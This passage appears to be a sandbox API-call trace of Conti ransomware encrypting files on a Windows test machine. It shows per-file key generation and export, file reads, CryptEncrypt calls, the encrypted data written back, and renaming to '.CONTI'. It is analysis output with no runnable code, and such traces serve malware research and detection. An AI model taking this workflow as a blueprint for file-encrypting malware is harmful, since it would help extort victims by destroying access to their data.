	[0123.633] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C.CONTI"
	[0123.633] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7c"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-3B2FA0352F7866F295FE76520C4D8AC0F30337F5.bin.7C.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-3b2fa0352f7866f295fe76520c4d8ac0f30337f5.bin.7c.conti")) returned 1
	[0123.633] GetProcessHeap () returned 0x1720000
	[0123.633] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0123.634] CryptDestroyKey (hKey=0x6b7f138) returned 1
	[0123.634] GetProcessHeap () returned 0x1720000
	[0123.634] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173bca8 | out: hHeap=0x1720000) returned 1
	[0123.634] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0123.634] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b52de8 | out: phKey=0x6b52de8*=0x6b7ef78) returned 1
	[0123.634] CryptExportKey (in: hKey=0x6b7ef78, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b52dec, pdwDataLen=0x3cffb14 | out: pbData=0x6b52dec*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0123.634] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.004.etl")) returned 0x2020
	[0123.635] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.004.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8
	[0123.635] GetLastError () returned 0x0
	[0123.635] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=12288) returned 1
	[0123.635] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0123.635] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.635] SetEndOfFile (hFile=0x3e8) returned 1
	[0123.635] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.635] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.635] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b52dec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b52dec*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0125.101] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.101] ReadFile (in: hFile=0x3e8, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x3000, lpOverlapped=0x0) returned 1
	[0125.102] CryptEncrypt (in: hKey=0x6b7ef78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x3000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x3010) returned 1
	[0125.102] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.102] WriteFile (in: hFile=0x3e8, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x3010, lpOverlapped=0x0) returned 1
	[0129.212] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.212] WriteFile (in: hFile=0x3e8, lpBuffer=0x6b52de0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b52de0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0129.212] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.220] CloseHandle (hObject=0x3e8) returned 1
	[0129.556] GetProcessHeap () returned 0x1720000
	[0129.556] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.556] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl"
	[0129.556] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.CONTI"
	[0129.556] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.004.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.004.etl.conti")) returned 1
	[0129.588] GetProcessHeap () returned 0x1720000
	[0129.588] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.590] CryptDestroyKey (hKey=0x6b7ef78) returned 1
	[0129.590] GetProcessHeap () returned 0x1720000
	[0129.590] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8c80 | out: hHeap=0x1720000) returned 1
	[0129.590] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0130.179] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b51df0 | out: phKey=0x6b51df0*=0x17c8130) returned 1
	[0130.179] CryptExportKey (in: hKey=0x17c8130, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b51df4, pdwDataLen=0x3cffb14 | out: pbData=0x6b51df4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0130.180] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico")) returned 0x20
	[0130.180] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.180] GetLastError () returned 0x5
	[0130.180] CryptDestroyKey (hKey=0x17c8130) returned 1
	[0130.180] GetProcessHeap () returned 0x1720000
	[0130.180] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180cb20 | out: hHeap=0x1720000) returned 1
	[0130.180] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0134.002] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b469b8 | out: phKey=0x6b469b8*=0x17c83f0) returned 1
	[0134.002] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b469bc, pdwDataLen=0x3cffb14 | out: pbData=0x6b469bc*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0134.003] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat")) returned 0x20
	[0134.003] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.003] GetLastError () returned 0x5
	[0134.003] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0134.003] GetProcessHeap () returned 0x1720000
	[0134.003] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02598 | out: hHeap=0x1720000) returned 1
	[0134.004] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0134.710] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b472d8 | out: phKey=0x6b472d8*=0x17c7ef0) returned 1
	[0134.710] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b472dc, pdwDataLen=0x3cffb14 | out: pbData=0x6b472dc*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0135.426] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif")) returned 0x20
	[0135.426] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\VirtualInbox\\en-US\\WelcomeFax.tif" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msfax\\virtualinbox\\en-us\\welcomefax.tif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0135.426] GetLastError () returned 0x5
	[0135.426] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0135.426] GetProcessHeap () returned 0x1720000
	[0135.426] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173e6c0 | out: hHeap=0x1720000) returned 1
	[0135.426] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0137.798] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d2a8 | out: phKey=0x6b4d2a8*=0x6b7f438) returned 1
	[0137.798] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d2ac, pdwDataLen=0x3cffb14 | out: pbData=0x6b4d2ac*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0137.799] GetFileAttributesW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf")) returned 0x26
	[0137.799] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0137.799] GetLastError () returned 0x0
	[0137.799] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=65536) returned 1
	[0137.799] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10000
	[0137.800] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.800] SetEndOfFile (hFile=0x444) returned 1
	[0137.800] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.800] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.800] WriteFile (in: hFile=0x444, lpBuffer=0x6b4d2ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b4d2ac*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0137.801] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.801] ReadFile (in: hFile=0x444, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x10000, lpOverlapped=0x0) returned 1
	[0137.935] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x10000, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x10010) returned 1
	[0137.935] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.935] WriteFile (in: hFile=0x444, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x10010, lpOverlapped=0x0) returned 1
	[0137.936] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.936] WriteFile (in: hFile=0x444, lpBuffer=0x6b4d2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b4d2a0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0137.936] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.936] CloseHandle (hObject=0x444) returned 1
	[0137.936] GetProcessHeap () returned 0x1720000
	[0137.936] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0137.936] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf"
	[0137.936] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", lpString2=".CONTI" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.CONTI") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.CONTI"
	[0137.936] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf.CONTI" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tm.blf.conti")) returned 1
	[0137.937] GetProcessHeap () returned 0x1720000
	[0137.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0137.937] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0137.937] GetProcessHeap () returned 0x1720000
	[0137.937] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173f570 | out: hHeap=0x1720000) returned 1
	[0137.937] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0137.937] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b47768 | out: phKey=0x6b47768*=0x6b7f438) returned 1
	[0137.937] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4776c, pdwDataLen=0x3cffb14 | out: pbData=0x6b4776c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0137.938] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\ylyspwkmj2cm94u-vghr.mp4")) returned 0x20
	[0137.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\ylyspwkmj2cm94u-vghr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0137.938] GetLastError () returned 0x0
	[0137.938] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=67899) returned 1
	[0137.938] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1093b
	[0137.938] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.938] SetEndOfFile (hFile=0x444) returned 1
	[0137.938] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.938] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.938] WriteFile (in: hFile=0x444, lpBuffer=0x6b4776c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b4776c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0137.945] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.945] ReadFile (in: hFile=0x444, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x1093b, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x1093b, lpOverlapped=0x0) returned 1
	[0138.017] CryptEncrypt (in: hKey=0x6b7f438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1093b, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x10940) returned 1
	[0138.018] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.018] WriteFile (in: hFile=0x444, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x10940, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x10940, lpOverlapped=0x0) returned 1
	[0138.018] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.018] WriteFile (in: hFile=0x444, lpBuffer=0x6b47760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x6b47760*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0138.018] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.018] CloseHandle (hObject=0x444) returned 1
	[0138.018] GetProcessHeap () returned 0x1720000
	[0138.018] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.018] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4") returned="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4"
	[0138.018] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4.CONTI") returned="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4.CONTI"
	[0138.018] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4" (normalized: "c:\\users\\fd1hvy\\desktop\\ylyspwkmj2cm94u-vghr.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\YLYsPwKMj2CM94u-vghR.mp4.CONTI" (normalized: "c:\\users\\fd1hvy\\desktop\\ylyspwkmj2cm94u-vghr.mp4.conti")) returned 1
	[0138.019] GetProcessHeap () returned 0x1720000
	[0138.019] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.019] CryptDestroyKey (hKey=0x6b7f438) returned 1
	[0138.019] GetProcessHeap () returned 0x1720000
	[0138.019] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de920 | out: hHeap=0x1720000) returned 1
	[0138.019] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0138.019] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x6b49510 | out: phKey=0x6b49510*=0x6b7f438) returned 1
	[0138.019] CryptExportKey (in: hKey=0x6b7f438, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49514, pdwDataLen=0x3cffb14 | out: pbData=0x6b49514*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0138.020] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\_c9os3 ahpgxrpo.mp3")) returned 0x20
	[0138.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_C9OS3 ahpGXRPO.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\_c9os3 ahpgxrpo.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0138.020] GetLastError () returned 0x0
	[0138.020] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=50022) returned 1
	[0138.020] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc366
	[0138.020] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.020] SetEndOfFile (hFile=0x444) returned 1
	[0138.021] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.021] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.021] WriteFile (in: hFile=0x444, lpBuffer=0x6b49514*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x6b49514*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0138.062] SetFilePointer (in: hFile=0x444, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
